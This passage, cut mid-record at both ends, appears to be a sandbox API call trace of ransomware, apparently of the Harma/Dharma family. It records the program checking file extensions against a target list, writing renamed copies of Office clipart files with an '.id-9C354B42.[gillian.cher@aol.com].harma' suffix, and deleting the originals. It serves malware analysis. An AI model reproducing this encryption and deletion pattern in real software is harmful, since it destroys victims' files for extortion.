Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.733] lstrlenW (lpString=".1cd") returned 4 [0166.733] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.733] lstrlenW (lpString=".jpg") returned 4 [0166.733] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.734] lstrlenW (lpString=".doc") returned 4 [0166.734] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString=".docx") returned 5 [0166.734] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0166.734] lstrlenW (lpString=".pdf") returned 4 [0166.734] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString=".xls") returned 4 [0166.734] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString=".xlsx") returned 5 [0166.734] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0166.734] lstrlenW (lpString=".ppt") returned 4 [0166.734] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.734] lstrlenW (lpString=".zip") returned 4 [0166.734] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString=".rar") returned 4 [0166.734] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString=".bz2") returned 4 [0166.734] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString=".7z") returned 3 [0166.734] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.734] lstrlenW (lpString=".dbf") returned 4 [0166.734] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.735] lstrlenW (lpString=".1cd") returned 4 [0166.735] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0166.735] lstrlenW (lpString=".jpg") returned 4 [0166.735] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.735] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.735] lstrlenW (lpString="J0103262.WMF") returned 12 [0166.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.774] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=12900) returned 1 [0166.799] CloseHandle (hObject=0x3a0) returned 1 [0166.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 0x20 [0166.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0166.812] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.812] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.816] GetLastError () returned 0x0 [0166.816] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x3264, lpOverlapped=0x0) returned 1 [0166.827] WriteFile (in: hFile=0x39c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3270, lpOverlapped=0x0) returned 1 [0166.828] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0166.828] WriteFile (in: hFile=0x39c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.828] SetEndOfFile (hFile=0x39c) returned 1 [0166.829] CloseHandle (hObject=0x39c) returned 1 [0166.829] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0166.829] SetEndOfFile (hFile=0x3a0) returned 1 [0166.831] CloseHandle (hObject=0x3a0) returned 1 [0166.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf")) returned 1 [0166.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.833] lstrlenW (lpString=".doc") returned 4 [0166.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.833] lstrlenW (lpString=".docx") returned 5 [0166.833] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.833] lstrlenW (lpString=".pdf") returned 4 [0166.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.833] lstrlenW (lpString=".xls") returned 4 [0166.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.833] lstrlenW (lpString=".xlsx") returned 5 [0166.833] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.833] lstrlenW (lpString=".ppt") returned 4 [0166.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.833] lstrlenW (lpString=".zip") returned 4 [0166.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.833] lstrlenW (lpString=".rar") returned 4 [0166.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.833] lstrlenW (lpString=".bz2") returned 4 [0166.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.833] lstrlenW (lpString=".7z") returned 3 [0166.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.833] lstrlenW (lpString=".dbf") returned 4 [0166.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.833] lstrlenW (lpString=".1cd") returned 4 [0166.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.834] lstrlenW (lpString=".jpg") returned 4 [0166.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.834] lstrlenW (lpString=".doc") returned 4 [0166.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0166.834] lstrlenW (lpString=".docx") returned 5 [0166.834] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0166.834] lstrlenW (lpString=".pdf") returned 4 [0166.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0166.834] lstrlenW (lpString=".xls") returned 4 [0166.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0166.834] lstrlenW (lpString=".xlsx") returned 5 [0166.834] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0166.834] lstrlenW (lpString=".ppt") returned 4 [0166.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0166.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.834] lstrlenW (lpString=".zip") returned 4 [0166.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0166.834] lstrlenW (lpString=".rar") returned 4 [0166.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0166.834] lstrlenW (lpString=".bz2") returned 4 [0166.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0166.834] lstrlenW (lpString=".7z") returned 3 [0166.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0166.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.834] lstrlenW (lpString=".dbf") returned 4 [0166.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0166.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.834] lstrlenW (lpString=".1cd") returned 4 [0166.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0166.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF") returned 63 [0166.835] lstrlenW (lpString=".jpg") returned 4 [0166.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0166.835] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.835] lstrlenW (lpString="J0105234.WMF") returned 12 [0166.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0166.933] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=3444) returned 1 [0166.933] CloseHandle (hObject=0x330) returned 1 [0166.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 0x20 [0167.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0167.049] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.049] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0167.051] GetLastError () returned 0x0 [0167.051] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xd74, lpOverlapped=0x0) returned 1 [0167.101] WriteFile (in: hFile=0x384, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xd80, lpOverlapped=0x0) returned 1 [0167.103] ReadFile (in: hFile=0x208, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.103] WriteFile (in: hFile=0x384, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.103] SetEndOfFile (hFile=0x384) returned 1 [0167.103] CloseHandle (hObject=0x384) returned 1 [0167.103] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.103] SetEndOfFile (hFile=0x208) returned 1 [0167.105] CloseHandle (hObject=0x208) returned 1 [0167.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0167.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.109] lstrlenW (lpString=".doc") returned 4 [0167.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.109] lstrlenW (lpString=".docx") returned 5 [0167.109] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.109] lstrlenW (lpString=".pdf") returned 4 [0167.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.109] lstrlenW (lpString=".xls") returned 4 [0167.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.109] lstrlenW (lpString=".xlsx") returned 5 [0167.109] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.109] lstrlenW (lpString=".ppt") returned 4 [0167.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.109] lstrlenW (lpString=".zip") returned 4 [0167.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.109] lstrlenW (lpString=".rar") returned 4 [0167.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.109] lstrlenW (lpString=".bz2") returned 4 [0167.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.109] lstrlenW (lpString=".7z") returned 3 [0167.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.110] lstrlenW (lpString=".dbf") returned 4 [0167.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.110] lstrlenW (lpString=".1cd") returned 4 [0167.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.110] lstrlenW (lpString=".jpg") returned 4 [0167.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.110] lstrlenW (lpString=".doc") returned 4 [0167.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.110] lstrlenW (lpString=".docx") returned 5 [0167.110] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0167.110] lstrlenW (lpString=".pdf") returned 4 [0167.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.110] lstrlenW (lpString=".xls") returned 4 [0167.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.110] lstrlenW (lpString=".xlsx") returned 5 [0167.110] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0167.110] lstrlenW (lpString=".ppt") returned 4 [0167.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.111] lstrlenW (lpString=".zip") returned 4 [0167.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.111] lstrlenW (lpString=".rar") returned 4 [0167.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.111] lstrlenW (lpString=".bz2") returned 4 [0167.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.111] lstrlenW (lpString=".7z") returned 3 [0167.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.111] lstrlenW (lpString=".dbf") returned 4 [0167.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.111] lstrlenW (lpString=".1cd") returned 4 [0167.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105234.WMF") returned 63 [0167.111] lstrlenW (lpString=".jpg") returned 4 [0167.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.111] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0167.111] lstrlenW (lpString="J0105250.WMF") returned 12 [0167.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.159] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=4628) returned 1 [0167.159] CloseHandle (hObject=0x364) returned 1 [0167.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 0x20 [0167.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0167.171] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.171] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0167.175] GetLastError () returned 0x0 [0167.175] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x1214, lpOverlapped=0x0) returned 1 [0167.409] WriteFile (in: hFile=0x374, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1220, lpOverlapped=0x0) returned 1 [0167.409] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0167.410] WriteFile (in: hFile=0x374, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0167.410] SetEndOfFile (hFile=0x374) returned 1 [0167.410] CloseHandle (hObject=0x374) returned 1 [0167.410] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0167.410] SetEndOfFile (hFile=0x33c) returned 1 [0167.413] CloseHandle (hObject=0x33c) returned 1 [0167.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf")) returned 1 [0167.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.457] lstrlenW (lpString=".doc") returned 4 [0167.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.457] lstrlenW (lpString=".docx") returned 5 [0167.457] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0167.457] lstrlenW (lpString=".pdf") returned 4 [0167.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.457] lstrlenW (lpString=".xls") returned 4 [0167.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.457] lstrlenW (lpString=".xlsx") returned 5 [0167.457] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0167.457] lstrlenW (lpString=".ppt") returned 4 [0167.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.457] lstrlenW (lpString=".zip") returned 4 [0167.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.457] lstrlenW (lpString=".rar") returned 4 [0167.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.457] lstrlenW (lpString=".bz2") returned 4 [0167.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.457] lstrlenW (lpString=".7z") returned 3 [0167.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.457] lstrlenW (lpString=".dbf") returned 4 [0167.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.457] lstrlenW (lpString=".1cd") returned 4 [0167.458] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.458] lstrlenW (lpString=".jpg") returned 4 [0167.458] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0167.458] lstrlenW (lpString=".doc") returned 4 [0167.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.458] lstrlenW (lpString=".docx") returned 5 [0167.458] lstrcmpiW 